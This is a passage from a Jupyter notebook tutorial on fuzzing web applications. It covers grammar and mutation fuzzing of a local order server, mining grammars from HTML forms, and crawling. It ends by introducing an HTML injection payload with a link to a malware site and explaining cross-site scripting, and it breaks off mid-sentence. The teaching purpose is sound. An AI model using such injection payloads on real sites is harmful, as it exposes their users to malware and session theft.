remember we also have a page for internal server errors. Can we get the server to produce this page? To find this out, we have to test the server thoroughly – which we do in the remainder of this chapter." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Fuzzing Input Forms\n", "\n", "After setting up and starting the server, let us now go and systematically test it – first with expected, and then with less expected values." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Fuzzing with Expected Values\n", "\n", "Since placing orders is all done by creating appropriate URLs, we define a [grammar](Grammars.ipynb) `ORDER_GRAMMAR` which encodes ordering URLs. It comes with a few sample values for names, email addresses, cities and (random) digits." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "To make it easier to define strings that become part of a URL, we define the function `cgi_encode()`, taking a string and autmatically encoding it into CGI:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import string" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def cgi_encode(s, do_not_encode=\"\"):\n", " ret = \"\"\n", " for c in s:\n", " if (c in string.ascii_letters or c in string.digits\n", " or c in \"$-_.+!*'(),\" or c in do_not_encode):\n", " ret += c\n", " elif c == ' ':\n", " ret += '+'\n", " else:\n", " ret += \"%%%02x\" % ord(c)\n", " return ret" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "s = cgi_encode('Is \"DOW30\" down .24%?')\n", "s" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The optional parameter `do_not_encode` allows us to skip certain characters from encoding. This is useful when encoding grammar rules:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "cgi_encode(\"@\", \"<>\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "`cgi_encode()` is the exact counterpart of the `cgi_decode()` function defined in the [chapter on coverage](Coverage.ipynb):" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Coverage import cgi_decode # minor dependency" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "cgi_decode(s)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Now for the grammar. We make use of `cgi_encode()` to encode strings:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Grammars import crange, is_valid_grammar, syntax_diagram" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "ORDER_GRAMMAR = {\n", " \"\": [\"\"],\n", " \"\": [\"/order?item=&name=&email=&city=&zip=\"],\n", " \"\": [\"tshirt\", \"drill\", \"lockset\"],\n", " \"\": [cgi_encode(\"Jane Doe\"), cgi_encode(\"John Smith\")],\n", " \"\": [cgi_encode(\"j.doe@example.com\"), cgi_encode(\"j_smith@example.com\")],\n", " \"\": [\"Seattle\", cgi_encode(\"New York\")],\n", " \"\": [\"\" * 5],\n", " \"\": crange('0', '9')\n", "}" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "assert is_valid_grammar(ORDER_GRAMMAR)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "syntax_diagram(ORDER_GRAMMAR)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Using [one of our grammar fuzzers](GrammarFuzzer.iynb), we can instantiate this grammar and generate URLs:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from GrammarFuzzer import GrammarFuzzer" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "order_fuzzer = GrammarFuzzer(ORDER_GRAMMAR)\n", "[order_fuzzer.fuzz() for i in range(5)]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Sending these URLs to the server will have them processed correctly:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz())))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Fuzzing with Unexpected Values" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We can now see that the server does a good job when faced with \"standard\" values. But what happens if we feed it non-standard values? To this end, we make use of a [mutation fuzzer](MutationFuzzer.ipynb) which inserts random changes into the URL. Our seed (i.e. the value to be mutated) comes from the grammar fuzzer:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "seed = order_fuzzer.fuzz()\n", "seed" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Mutating this string yields mutations not only in the field values, but also in field names as well as the URL structure." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from MutationFuzzer import MutationFuzzer # minor deoendency" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "mutate_order_fuzzer = MutationFuzzer([seed], min_mutations=1, max_mutations=1)\n", "[mutate_order_fuzzer.fuzz() for i in range(5)]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us fuzz a little until we get an internal server error. We use the Python `requests` module to interact with the Web server such that we can directly access the HTTP status code." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "import requests" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "while True:\n", " path = mutate_order_fuzzer.fuzz()\n", " url = urljoin(httpd_url, path)\n", " r = requests.get(url)\n", " if r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:\n", " break" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "That didn't take long. Here's the offending URL:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "url" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "clear_httpd_messages()\n", "HTML(webbrowser(url))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "How does the URL cause this internal error? We make use of [delta debugging](Reducer.ipynb) to minimize the failure-inducing path, setting up a `WebRunner` class to define the failure condition:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "failing_path = path\n", "failing_path" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Fuzzer import Runner" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class WebRunner(Runner):\n", " def __init__(self, base_url=None):\n", " self.base_url = base_url\n", "\n", " def run(self, url):\n", " if self.base_url is not None:\n", " url = urljoin(self.base_url, url)\n", "\n", " r = requests.get(url)\n", " if r.status_code == HTTPStatus.OK:\n", " return url, Runner.PASS\n", " elif r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:\n", " return url, Runner.FAIL\n", " else:\n", " return url, Runner.UNRESOLVED" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "web_runner = WebRunner(httpd_url)\n", "web_runner.run(failing_path)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "This is the minimized path:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Reducer import DeltaDebuggingReducer # minor" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "minimized_path = DeltaDebuggingReducer(web_runner).reduce(failing_path)\n", "minimized_path" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "It turns out that our server encounters an internal error if we do not supply the requested fields:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "minimized_url = urljoin(httpd_url, minimized_path)\n", "minimized_url" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "clear_httpd_messages()\n", "HTML(webbrowser(minimized_url))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We see that we might have a lot to do to make our Web server more robust against unexpected inputs. The [exercises](#Exercises) give some instructions on what to do." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Extracting Grammars for Input Forms\n", "\n", "In our previous examples, we have assumed that we have a grammar that produces valid (or less valid) order queries. However, such a grammar need not be specified manually; we can also _extract it automatically_ from a Web page at hand. This way, we can apply our test generators on arbitrary Web forms without a manual specification step." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Searching HTML for Input Fields\n", "\n", "The key idea of our approach is to identify all input fields in a form. To this end, let us take a look at how the individual elements in our order form are encoded in HTML:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "html_text = webbrowser(httpd_url)\n", "print(html_text[html_text.find(\"\") + len(\"\")])" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "We see that there is a number of form elements that accept inputs, in particular ``, but also `` tag or similar, we save the type in the `fields` attribute;\n", "* When we find a `` tag." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class FormHTMLParser(FormHTMLParser):\n", " def handle_starttag(self, tag, attrs):\n", " attributes = {attr_name: attr_value for attr_name, attr_value in attrs}\n", " # print(tag, attributes)\n", "\n", " if tag == \"form\":\n", " self.action = attributes.get(\"action\", \"\")\n", "\n", " elif tag == \"select\" or tag == \"datalist\":\n", " if \"name\" in attributes:\n", " name = attributes[\"name\"]\n", " self.fields[name] = []\n", " self.select.append(name)\n", " else:\n", " self.select.append(None)\n", "\n", " elif tag == \"option\" and \"multiple\" not in attributes:\n", " current_select_name = self.select[-1]\n", " if current_select_name is not None and \"value\" in attributes:\n", " self.fields[current_select_name].append(attributes[\"value\"])\n", "\n", " elif tag == \"input\" or tag == \"option\" or tag == \"textarea\":\n", " if \"name\" in attributes:\n", " name = attributes[\"name\"]\n", " self.fields[name] = attributes.get(\"type\", \"text\")\n", "\n", " elif tag == \"button\":\n", " if \"name\" in attributes:\n", " name = attributes[\"name\"]\n", " self.fields[name] = [\"\"]" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class FormHTMLParser(FormHTMLParser):\n", " def handle_endtag(self, tag):\n", " if tag == \"select\":\n", " self.select.pop()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Our implementation handles only one form per Web page; it also works on HTML only, ignoring all interaction coming from JavaScript. Also, it does not support all HTML input types." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us put this parser to action. We create a class `HTMLGrammarMiner` that takes a HTML document to parse. It then returns the associated action and the associated fields:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class HTMLGrammarMiner(object):\n", " def __init__(self, html_text):\n", " html_parser = FormHTMLParser()\n", " html_parser.feed(html_text)\n", " self.fields = html_parser.fields\n", " self.action = html_parser.action" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Applied on our order form, this is what we get:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "html_miner = HTMLGrammarMiner(html_text)\n", "html_miner.action" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "html_miner.fields" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "From this structure, we can now generate a grammar that automatically produces valid form submission URLs." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Mining Grammars for Web Pages" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "To create a grammar from the fields extracted from HTML, we build on the `CGI_GRAMMAR` defined in the [chapter on grammars](Grammars.ipynb). The key idea is to define rules for every HTML input type: An HTML `number` type will get values from the `` rule; likewise, values for the HTML `email` type will be defined from the `` rule. Our default grammar provides very simple rules for these types." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Grammars import crange, srange, new_symbol, unreachable_nonterminals, CGI_GRAMMAR, extend_grammar" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class HTMLGrammarMiner(HTMLGrammarMiner):\n", " QUERY_GRAMMAR = extend_grammar(CGI_GRAMMAR, {\n", " \"\": [\"?\"],\n", "\n", " \"\": [\"\"],\n", "\n", " \"\": [\"\"],\n", " \"\": [\"\", \"\"],\n", " \"\": crange('0', '9'),\n", "\n", " \"\": [\"<_checkbox>\"],\n", " \"<_checkbox>\": [\"on\", \"off\"],\n", "\n", " \"\": [\"<_email>\"],\n", " \"<_email>\": [cgi_encode(\"@\", \"<>\")],\n", "\n", " # Use a fixed password in case we need to repeat it\n", " \"\": [\"<_password>\"],\n", " \"<_password>\": [\"abcABC.123\"],\n", "\n", " # Stick to printable characters to avoid logging problems\n", " \"\": [\"%\"],\n", " \"\": srange(\"34567\"),\n", " \n", " # Submissions:\n", " \"\": [\"\"]\n", " })" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Our grammar miner now takes the fields extracted from HTML, converting them into rules. Essentially, every input field encountered gets included in the resulting query URL; and it gets a rule expanding it into the appropriate type." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class HTMLGrammarMiner(HTMLGrammarMiner):\n", " def mine_grammar(self):\n", " grammar = extend_grammar(self.QUERY_GRAMMAR)\n", " grammar[\"\"] = [self.action]\n", "\n", " query = \"\"\n", " for field in self.fields:\n", " field_symbol = new_symbol(grammar, \"<\" + field + \">\")\n", " field_type = self.fields[field]\n", "\n", " if query != \"\":\n", " query += \"&\"\n", " query += field_symbol\n", "\n", " if isinstance(field_type, str):\n", " field_type_symbol = \"<\" + field_type + \">\"\n", " grammar[field_symbol] = [field + \"=\" + field_type_symbol]\n", " if field_type_symbol not in grammar:\n", " # Unknown type\n", " grammar[field_type_symbol] = [\"\"]\n", " else:\n", " # List of values\n", " value_symbol = new_symbol(grammar, \"<\" + field + \"-value>\")\n", " grammar[field_symbol] = [field + \"=\" + value_symbol]\n", " grammar[value_symbol] = field_type\n", "\n", " grammar[\"\"] = [query]\n", "\n", " # Remove unused parts\n", " for nonterminal in unreachable_nonterminals(grammar):\n", " del grammar[nonterminal]\n", "\n", " assert is_valid_grammar(grammar)\n", "\n", " return grammar" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Let us show `HTMLGrammarMiner` in action, again applied on our order form. Here is the full resulting grammar:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "html_miner = HTMLGrammarMiner(html_text)\n", "grammar = html_miner.mine_grammar()\n", "grammar" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Let us take a look into the structure of the grammar. It produces URL paths of this form:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "grammar[\"\"]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Here, the `` comes from the `action` attribute of the HTML form:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "grammar[\"\"]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "The `` is composed from the individual field items:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "grammar[\"\"]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Each of these fields has the form `=`, where `` is already defined in the grammar:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "grammar[\"\"]" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "grammar[\"\"]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "These are the query URLs produced from the grammar. We see that these are similar to the ones produced from our hand-crafted grammar, except that the string values for names, email addresses, and cities are now completely random:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "order_fuzzer = GrammarFuzzer(grammar)\n", "[order_fuzzer.fuzz() for i in range(3)]" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We can again feed these directly into our Web browser:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz())))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We see (one more time) that we can mine a grammar automatically from given data." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### A Fuzzer for Web Forms\n", "\n", "To make things most convenient, let us define a `WebFormFuzzer` class that does everything in one place. Given a URL, it extracts its HTML content, mines the grammar and then produces inputs for it." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class WebFormFuzzer(GrammarFuzzer):\n", " def __init__(self, url, **grammar_fuzzer_options):\n", " html_text = self.get_html(url)\n", " grammar = self.get_grammar(html_text)\n", " super().__init__(grammar, **grammar_fuzzer_options)\n", "\n", " def get_html(self, url):\n", " return requests.get(url).text\n", "\n", " def get_grammar(self, html_text):\n", " grammar_miner = HTMLGrammarMiner(html_text)\n", " return grammar_miner.mine_grammar() " ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "All it now takes to fuzz a Web form is to provide its URL:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "web_form_fuzzer = WebFormFuzzer(httpd_url)\n", "web_form_fuzzer.fuzz()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We can combine the fuzzer with a `WebRunner` as defined above to run the resulting fuzz inputs directly on our Web server:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "web_form_runner = WebRunner(httpd_url)\n", "web_form_fuzzer.runs(web_form_runner, 10)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "While convenient to use, this fuzzer is still very rudimentary:\n", "\n", "* It is limited to one form per page.\n", "* It only supports `GET` actions (i.e., inputs encoded into the URL). A full Web form fuzzer would have to at least support `POST` actions.\n", "* The fuzzer build on HTML only. There is no Javascript handling for dynamic Web pages." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us clear any pending messages before we get to the next section:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "clear_httpd_messages()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Crawling User Interfaces\n", "\n" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "So far, we have assumed there would be only one form to explore. A real Web server, of course, has several pages – and possibly several forms, too. We define a simple *crawler* that explores all the links that originate from one page." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Our crawler is pretty straightforward. Its main component is again a `HTMLParser` that analyzes the HTML code for links of the form\n", "\n", "```html\n", "\">\n", "```\n", "\n", "and saves all the links found in a list called `links`." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "class LinkHTMLParser(HTMLParser):\n", " def reset(self):\n", " super().reset()\n", " self.links = []\n", "\n", " def handle_starttag(self, tag, attrs):\n", " attributes = {attr_name: attr_value for attr_name, attr_value in attrs}\n", "\n", " if tag == \"a\" and \"href\" in attributes:\n", " # print(\"Found:\", tag, attributes)\n", " self.links.append(attributes[\"href\"])" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The actual crawler comes as a _generator function_ `crawl()` which produces one URL after another. By default, it returns only URLs that reside on the same host; the parameter `max_pages` controls how many pages (default: 1) should be scanned. We also respect the `robots.txt` file on the remote site to check which pages we are allowed to scan." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from collections import deque\n", "import urllib.robotparser" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "def crawl(url, max_pages=1, same_host=True):\n", " \"\"\"Return the list of linked URLs from the given URL. Accesses up to `max_pages`.\"\"\"\n", "\n", " pages = deque([(url, \"\")])\n", " urls_seen = set()\n", "\n", " rp = urllib.robotparser.RobotFileParser()\n", " rp.set_url(urljoin(url, \"/robots.txt\"))\n", " rp.read()\n", "\n", " while len(pages) > 0 and max_pages > 0:\n", " page, referrer = pages.popleft()\n", " if not rp.can_fetch(\"*\", page):\n", " # Disallowed by robots.txt\n", " continue\n", "\n", " r = requests.get(page)\n", " max_pages -= 1\n", "\n", " if r.status_code != HTTPStatus.OK:\n", " print(\"Error \" + repr(r.status_code) + \": \" + page,\n", " \"(referenced from \" + referrer + \")\",\n", " file=sys.stderr)\n", " continue\n", "\n", " content_type = r.headers[\"content-type\"]\n", " if not content_type.startswith(\"text/html\"):\n", " continue\n", "\n", " parser = LinkHTMLParser()\n", " parser.feed(r.text)\n", "\n", " for link in parser.links:\n", " target_url = urljoin(page, link)\n", " if same_host and urlsplit(\n", " target_url).hostname != urlsplit(url).hostname:\n", " # Different host\n", " continue\n", " if urlsplit(target_url).fragment != \"\":\n", " # Ignore #fragments\n", " continue\n", "\n", " if target_url not in urls_seen:\n", " pages.append((target_url, page))\n", " urls_seen.add(target_url)\n", " yield target_url\n", "\n", " if page not in urls_seen:\n", " urls_seen.add(page)\n", " yield page" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "We can run the crawler on our own server, where it will quickly return the order page and the terms and conditions page." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "for url in crawl(httpd_url):\n", " print_httpd_messages()\n", " print_url(url)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "We can also crawl over other sites, such as the home page of this project." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "for url in crawl(\"https://www.fuzzingbook.org/\"):\n", " print_url(url)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Once we have crawled over all the links of a site, we can generate tests for all the forms we found:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "for url in crawl(httpd_url, max_pages=float('inf')):\n", " web_form_fuzzer = WebFormFuzzer(url)\n", " web_form_runner = WebRunner(url)\n", " print(web_form_fuzzer.run(web_form_runner))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "For even better effects, one could integrate crawling and fuzzing – and also analyze the order confirmation pages for further links. We leave this to the reader as an exercise." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let us get rid of any server messages accumulated above:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "clear_httpd_messages()" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Crafting Web Attacks\n", "\n", "Before we close the chapter, let us take a look at a special class of \"uncommon\" inputs that not only yield generic failures, but actually allow _attackers_ to manipulate the server at their will. We will illustrate three common attacks using our server, which (surprise) actually turns out to be vulnerable against all of them." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### HTML Injection Attacks\n", "\n", "The first kind of attack we look at is *HTML injection*. The idea of HTML injection is to supply the Web server with _data that can also be interpreted as HTML_. If this HTML data is then displayed to users in their Web browsers, it can serve malicious purposes, although (seemingly) originating from a reputable site. If this data is also _stored_, it becomes a _persistent_ attack; the attacker does not even have to lure victims towards specific pages." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Here is an example of a (simple) HTML injection. For the `name` field, we not only use plain text, but also embed HTML tags – in this case, a link towards a malware-hosting site." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "from Grammars import extend_grammar" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "subslide" } }, "outputs": [], "source": [ "ORDER_GRAMMAR_WITH_HTML_INJECTION = extend_grammar(ORDER_GRAMMAR, {\n", " \"\": [cgi_encode('''\n", " Jane Doe

\n", " Click here for cute cat pictures!\n", "

\n", " ''')],\n", "})" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "If we use this grammar to create inputs, the resulting URL will have all of the HTML encoded in:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "html_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_HTML_INJECTION)\n", "order_with_injected_html = html_injection_fuzzer.fuzz()\n", "order_with_injected_html" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "What hapens if we send this string to our Web server? It turns out that the HTML is left in the confirmation page and shown as link. This also happens in the log:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "HTML(webbrowser(urljoin(httpd_url, order_with_injected_html)))" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Since the link seemingly comes from a trusted origin, users are much more likely to follow it. The link is even persistent, as it is stored in the database:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "print(db.execute(\"SELECT * FROM orders WHERE name LIKE '%<%'\").fetchall())" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "This means that anyone ever querying the database (for instance, operators processing the order) will also see the link, multiplying its impact. By carefully crafting the injected HTML, one can thus expose malicious content to a large number of users – until the injected HTML is finally deleted." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "### Cross-Site Scripting Attacks\n", "\n", "If one can inject HTML code into a Web page, one can also inject *JavaScript* code as part of the injected HTML. This code would then be executed as soon as the injected HTML is rendered. \n", "\n", "This is particularly dangerous because executed JavaScript always executes in the _origin_ of the page which contains it. Therefore, an attacker can normally not force a user to run JavaScript in any origin he does not control himself. When an attacker, however, can inject his code into a vulnerable Web application, he can have the client run the code with the (trusted) Web application as origin.\n", "\n", "In such a *cross-site scripting* (*XSS*) attack, the injected script can do a lot more than just plain HTML. For instance, the code can access sensitive page content or session cookies. If the code in question runs in the operator's browser (for instance, because an operator is reviewing the list of orders), it could retrieve any other information shown on the screen and thus steal order details for a variety of customers." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Here is a very simple example of a script injection. Whenever the name is displayed, it 